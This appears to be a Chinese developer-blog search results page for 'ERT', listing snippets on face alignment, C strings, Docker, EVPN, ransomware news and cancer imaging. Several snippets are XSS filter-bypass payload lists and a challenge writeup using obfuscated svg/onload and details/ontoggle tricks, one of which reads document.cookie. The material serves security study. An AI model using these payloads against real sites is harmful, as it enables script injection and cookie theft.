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人脸对齐之GBDT(ERT)算法解读
1.概述 文章名称：One Millisecond Face Alignment with an Ensemble of Regression Trees 文章来源：2014CVPR 文章作者：Vahid Kazemi ，Josephine Sullivan 简要介绍： One Millisecond Face Alignment with an Ensemble of Regression Trees算法（以下简称GBDT）是一种基于回归树的人脸对齐算法，这种方法通过建立一个级联的残差回归树（GBD
4.8K130发布于 2018-04-17 - 来自专栏HACK学习
Bypass | XSS Payload绕过云锁学习
=self['al'%2B'ert'](1) > <details open ontoggle=parent['al'%2B'ert'](1) > <details open ontoggle=frames ['al'%2B'ert'](1) > <details open ontoggle=content['al'%2B'ert'](1) > <details open ontoggle=window[' al'%2B'ert'](1) > 这些都可以绕过waf，总结起来有 top self parent frames content window，无疑top是最短的，所谓短小精悍，这里借用PKAV的一张 <svg/onload=setInterval('al'%2b'ert(1)')> ? 绕过waf，引用外部js。 注意后面的() <svg/onload=Set.constructor('al'%2b'ert(1)')()> ? 反引号我看行。。注意后面2个反引号。
2.5K40发布于 2019-10-14 - 来自专栏C/C++指南
开发团队如何应对突发的技术故障与危机：策略与实践
建立紧急响应团队 首先，开发团队应设立专门的紧急响应小组（ERT），成员包括技术骨干、系统架构师、运维专家等，确保在故障发生时能够迅速集结并投入战斗。 ERT成员应24小时待命，通过即时通讯工具保持紧密联系，确保信息的快速传递和决策的高效执行。 2. 利用自动化监控工具 自动化监控是快速发现问题的关键。 在故障发生时，ERT成员应迅速收集相关日志和性能指标，结合系统架构和业务流程，进行逻辑推理和假设验证，逐步缩小问题范围，直至定位到具体的问题源头。 4. 案例分析：网易云音乐故障定位 假设网易云音乐在遭遇502 Bad Gateway错误时，ERT成员首先会查看监控系统中的告警信息和相关日志。 结合系统架构图，ERT成员初步判断可能是数据库服务器负载过高导致。随后，他们登录数据库服务器进行性能分析，发现查询语句执行效率低下，占用了大量CPU资源。
53300编辑于 2024-12-06 - 来自专栏cs
C语言的知识点
char s1[12]="sdfffg"; char s2[]="ert"; strcat(s1,s2); puts(s1); sdfffgert 字符串赋值函数strcpy char s1[], char s2[]); 将字符串数组2的字符串数组赋值到字符串数组1中，最终二个数组的字符串都是字符串2 char s1[12]="sdfffg"; char s2[]="ert "; strcpy(s1,s2); puts(s1); ert 坑人的c语言，其他直接赋值 strcmp函数，比较2个字符串的大小。 char s1[12]="sdfffg"; char s2[]="ert"; printf("s1,s2的大小情况%d\n",strcmp(s1,s2)); s1,s2的大小情况
90230发布于 2018-12-07 - 来自专栏重生信息安全
一次bypass Xss-waf的经历
最后掏出我弹药库里的一些储备 例如这些： self['al'%2B'ert'](1) > parent['al'%2B'ert'](1) > frames['al'%2B'ert'](1) > content ['al'%2B'ert'](1) > window['al'%2B'ert'](1) > 但是也都一一被拦截下来 ?
83730发布于 2020-06-23 - 来自专栏我爱计算机视觉
ECCV18|人脸对齐与跟踪如何克服遮挡、姿态变化带来的特征点跳变？
是因为算法初始化时的特征点不够鲁棒，于是提出一种使用深度卷积网络粗略估计特征点位置，结合3D人脸姿态估计与重投影确定特征点初始位置，然后使用经典的回归树集成（Ensemble of Regression Trees，ERT 通过深度学习+几何重投影方法初始化，结合传统特征点定位的回归模型ERT，在各个数据集上几乎都达到了最好的性能。 请看官方视频，在突然有遮挡的时候，特征点跳变明显减小。 3.ERT非刚体形状估计，改进传统回归树模型由粗到细（Coarse-to-fine）迭代计算特征点位置，直至算法收敛。ERT的特征提取使用快速的FREAK像素比较二值特征。 ? 实验结果 ? 比较有意思的是，该文结合深度学习方法与传统方法，将深度学习方法得到的结果用于传统方法的特征点初始化，作者认为深度学习方法得到的特征点位置更加鲁棒（不会出现错的太离谱的幺蛾子），但传统ERT方法得到的特征点位置比较精确
1.2K40发布于 2019-12-27 - 来自专栏数据 学术 商业 新闻
地理可视化绘制王炸工具！！推荐收藏~~
import numpy as np import pygimli as pg import pygimli.meshtools as mt from pygimli.physics import ert # from pygimli.physics.ert import simulate as simulateERT from pygimli.physics.ert import VESModelling , VESCModelling # from pygimli.physics.ert import createERTData scheme = ert.createData(pg.utils.grange
76210编辑于 2022-05-24 - 来自专栏机器学习算法与理论
Dlib库landmark算法解析
Dlib库使用《One Millisecond Face Alignment with an Ensemble of Regression Trees》CVPR2014中提及的算法：ERT（ensemble 与LBF不同，ERT是在学习Tree的过程中，直接将shape的更新值ΔS存入叶子结点leaf node.初始位置S在通过所有学习到的Tree后，meanshape加上所有经过的叶子结点的ΔS，即可得到最终的人脸关键点位置 回归过程，最小化误差 附：人脸特征提取算法比较（ASM、CLM、ERT等 ）请参考如下博客： http://blog.csdn.net/u013803245/article/details/51263808
2.3K50发布于 2018-04-10 - 来自专栏全栈程序员必看
js数组删除某一个元素_删除数组中重复元素
this.indexOf(val); if (index > -1) { this.splice(index, 1); } }; // demo使用 var arr = [1, 2, 3, 5, 6, 'abc', 'ert ']; arr.remove('abc'); /************** 打印输出 arr ***************/ [1, 2, 3, 5, 6, "ert"] /************
7.2K20编辑于 2022-11-10 - 来自专栏菜鸟成长学习笔记
玩转dnmp之port篇
✘ ert@192 ~ telnet 127.0.0.1 9501 Trying 127.0.0.1... Connected to localhost. ✘ ert@192 ~ docker ps CONTAINER ID IMAGE COMMAND docker-php-entrypoi…" 23 hours ago Up 23 hours 0.0.0.0:9000->9000/tcp, 9501/tcp php ert ert@192 ~ docker ps CONTAINER ID IMAGE COMMAND
1.5K30发布于 2020-09-24 - 来自专栏linux运维学习
shell脚本，正则表达式
[a-zA-Z0-9](/)##g' test.txt 执行例子： https://xxx.ccc.com/www/ert/uor/index.html ---> ert/uor/index.html
73130发布于 2019-07-02 - 来自专栏菜鸟成长学习笔记
使用docker搭建一套开发环境全家桶
ert@ertiaodeMac-mini ~/develop/env/dnmp/www master ● composer create-project topthink/think=5.1.35 Installing topthink/framework (v5.1.39): Loading from cache Writing lock file Generating autoload files ert @ertiaodeMac-mini ~/develop/env/dnmp/www master ● ll total 0 drwxr-xr-x 3 ert staff 96B 9 6 22:02 localhost drwxr-xr-x 19 ert staff 608B 9 8 22:26 tp5 这样本地就按照好了一个tp5的框架了。 ert@ertiaodeMac-mini ~/develop/env/dnmp/www master ● docker ps CONTAINER ID IMAGE
1.1K30发布于 2020-09-10 - 来自专栏腾讯安全
勒索病毒与一起命案相距多远？
近日，为全球制药公司提供临床试验（包括COVID-19疫苗试验）工具的美国医疗软件公司ERT（eResearchTechnology）被曝遭受勒索软件攻击，对包括美国知名制药公司昆泰、施贵宝及阿斯利康等在内的多个新冠疫苗研究项目造成潜在威胁 据外媒报道，受长达两周的勒索攻击影响，ERT客户的研究人员被迫改用“纸+笔”的原始做法继续跟踪患者数据，从而导致COVID-19新冠疫苗的临床测试放缓，或将延误新冠疫苗的研制进程。 据ERT市场营销副总裁Drew Bustos称，公司正在全力恢复系统正常运行，安全威胁已“得到控制”。 值得注意的是，虽然ERT系统已处恢复模式，但并未披露勒索攻击软件与受影响用户数量和类别等威胁确切信息数据，这意味着该勒索软件对医疗系统的安全威胁或仍会出现。 03 站位“安全前置” 构筑安全运营新体系 刨除攻击方手段精进等外部因素来看，本次勒索软件攻击事件影响之大，很大程度上也归因于ERT公司在业务系统威胁感知、检测和响应等安全方面预防策略的缺失。
70574发布于 2020-10-16 - 来自专栏量子位
首次看清体内所有癌症转移灶，深度学习方法立大功！中国留学生一作论文登《细胞》封面
研究的通讯作者，也是潘晨琛的导师Ali Ertürk表示。 vDISCO成像技术 第一步，是通过vDISCO方法，把癌细胞的荧光蛋白信号增强100倍以上。 vDISCO成像技术同样来自论文通讯作者Ali Ertürk的团队，共同一作是蔡瑞瑶和潘晨琛。 通过这项技术，研究人员可以把癌细胞已经发生转移的小鼠处理成透明状态。 ? 潘晨琛，曾获得2017年“国家优秀自费留学生奖学金，现在慕尼黑大学Ali Ertürk副教授的团队中攻读博士学位。 Ali Ertürk，是一位来自土耳其的神经学家，现年仅39岁，今年7月担任新成立的德国组织工程和再生医学研究所主任。 ? 但是AI在癌症的病理方面的研究还不是很多，来自Ali Ertürk团队的新研究将帮助后来的研究者开发更有效的药物，来消灭转移的癌细胞。
1.2K61发布于 2019-12-19 - 来自专栏菜鸟成长学习笔记
docker搭建环境如何配置端口
✘ ert@192 ~ telnet 127.0.0.1 9501 Trying 127.0.0.1... Connected to localhost. ✘ ert@192 ~ docker ps CONTAINER ID IMAGE COMMAND docker-php-entrypoi…" 23 hours ago Up 23 hours 0.0.0.0:9000->9000/tcp, 9501/tcp php ert ert@192 ~ docker ps CONTAINER ID IMAGE COMMAND
3.3K20发布于 2020-09-24 - 来自专栏网络技术联盟站
VXLAN网络中的RD、RT是什么？如何配置RD、RT？
所以本地EVPN实例出方向VPN-Target属性值（ERT）需要与对端的EVPN实例入方向VPN-Target属性值（IRT）有相同的值。 RT值的配置需要满足如下要求： 跨网段用户通信，发送端发布Type2的路由时，会携带本地EVPN实例出方向VPN-Target属性列表中的所有VPN-Target属性（ERT）。 所以发送端EVPN实例出方向VPN-Target属性值（ERT）需要与接收端的L3VPN实例入方向VPN-Target属性值（eIRT）有相同的值。 跨网段用户通信，发送端发布Type5的网段路由时，会携带L3VPN实例出方向VPN-Target属性列表中的所有VPN-Target属性（ERT）。 所以发送端L3VPN实例出方向VPN-Target属性值（ERT）需要与接收端的L3VPN实例入方向VPN-Target属性值（eIRT）有相同的值。
5.3K10编辑于 2023-03-13 - 来自专栏CNotes
EVPN
该路由会携带本端EVPN实例的ERT、VTEP IP地址、二层VNI、Host1的MAC地址等信息。 其中本端的EVPN实例的ERT、VTEP IP地址、二层VNI这些信息来源于本端VTEP上的配置，样例如下： [Leaf1] bridge-domain 10 vxlan vni 10 //二层 RT属性分为两类： ERT（Export RT）：本端发送EVPN路由时，携带的RT属性设置为ERT。 IRT（Import RT）：本端在收到对端的EVPN路由时，将路由中携带的ERT与本端的IRT进行比较，只有两者相等时才接收该路由，否则丢弃该路由。 0:10，与上文中Leaf1上的ERT一致： [Leaf2] bridge-domain 10 vxlan vni 10 //二层VNI evpn route-distinguisher
68110编辑于 2024-09-19 - 来自专栏FreeBuf
XSS挑战第一期Writeup
onblur=outerHTML=URL #<img/src=1 onerror=alert(1)> 来自fangfei yang的答案： "oncut=top.onerror%3Dtop["al"+"ert 来自Dun比较有趣的答案： "onfocus=new%A1%A1window["al"+"ert"] 在这里出现了一个小插曲，也是我的一个失误。 xssiframe.document.write("<script>alert(1)<\/script>"); }}; </script> SqlCode的答案： "oncut=_=window;_.onerror=_["al"+"ert "oncut=location="javascript:aler"+"t%"+"281%"+"29 Galaxy的答案： "onblur=javascript:window.onblur=al%00ert
1K100发布于 2018-02-02 - 来自专栏闪石星曜CyberSecurity
XSS相关Payload及Bypass的备忘录（下）| 文末有打包好的Payload
alert('XSS')<script y> 用代码评估绕过单词黑名单 eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al 00000010: 6572 7428 3129 0c3e 0a ert tscript:alert(1)' 来自 404death tweet@ eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert 6\``; constructor.constructor("aler"+"t(3)")(); [].filter.constructor('ale'+'rt(4)')(); top["al"+"ert "](5); top[8680439..toString(30)](7); top[/al/.source+/ert/.source](8); top['al\x65rt'](9); open('java
2.9K31发布于 2019-08-01 - 来自专栏安全开发记录
waf入门到bypass
`]`1`> <svg/onload=window[`al`+`ert`]`1`> <svg/onload=parent[`al`+`ert`]`1`> <svg/onload=self[`al`+`ert `]`1`> <svg/onload=top[`al`+`ert`]`1`> <svg/onload=frames[`al`+`ert`]`1`> <svg/onload=self.frames[`al `+`ert`]`1`> <svg/onload=self.top[`al`+`ert`]`1`> <svg/onload=self.self[`al`+`ert`]`1`> <svg/onload=self.parent [`al`+`ert`]`1`> <svg/onload=self.window[`al`+`ert`]`1`> <svg/onload=top[`al`+`ert`](`docu`+`ment.cookie `)> <svg/onload=self[`aler`+`t`]`1`> <svg/onload=self[`al`+`ert`]`1`> <svg/onload=self[`al`%2b`ert`]`
1.7K30发布于 2021-08-11
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